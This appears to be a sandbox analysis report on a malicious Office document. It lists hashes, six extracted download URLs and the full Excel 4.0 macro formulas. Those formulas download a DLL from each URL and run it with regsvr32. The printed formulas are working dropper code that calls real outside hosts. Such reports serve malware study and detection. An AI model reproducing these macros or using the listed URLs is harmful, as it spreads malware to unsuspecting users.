General
-
Target
4f62b278ba8c0c333588de6e14ee94d29329249e953f060e492bf1109d29367b
-
Size
40KB
-
MD5
d63445ae54d50f43bfc40090df5498d3
-
SHA1
049c8383f57bdee42d46db87fa3be9c7920ff0b5
-
SHA256
4f62b278ba8c0c333588de6e14ee94d29329249e953f060e492bf1109d29367b
-
SHA512
f2416f848e731079cac6414b324e48a3b106431beccde9c4dbc0c63bb9f3e90029556c0c376d348a5828b91b4cf888686899757a4e4c1e8568f7e983ad9c81bb
-
SSDEEP
768:W9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:W9oms7tylND59V4jwmXc2RVfW+
Malware Config
Extracted
https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/
https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/
https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/
https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/
https://axial-ing.fr/old/98WgLPFy5u2Xf/
https://luape.es/wp-admin/moJpURVz/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
4f62b278ba8c0c333588de6e14ee94d29329249e953f060e492bf1109d29367b